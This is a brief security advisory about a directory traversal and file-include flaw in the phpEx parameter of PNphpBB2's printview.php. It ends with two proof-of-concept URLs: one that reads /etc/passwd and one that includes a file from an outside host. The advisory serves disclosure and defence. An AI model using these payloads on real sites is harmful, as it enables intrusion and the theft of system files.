Directory traversal vulnerability in printview.php in PNphpBB2 1.2i and earlier allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the phpEx parameter.
PNphpBB2 is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.An attacker can exploit this issue to execute arbitrary local scripts and retrieve potentially sensitive information.This issue affects PNphpBB2 1.2i and prior versions.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: firstname.lastname@example.org.
An attacker can exploit this issue with a browser.The following proof-of-concept URIs are available:http://www.example.com/[path]/modules/PNphpBB2/printview.php?phpEx=/../../../../../../../etc/passwd http://www.example.com/[path]/modules/PNphpBB2/printview.php?phpEx=http://www.example2.com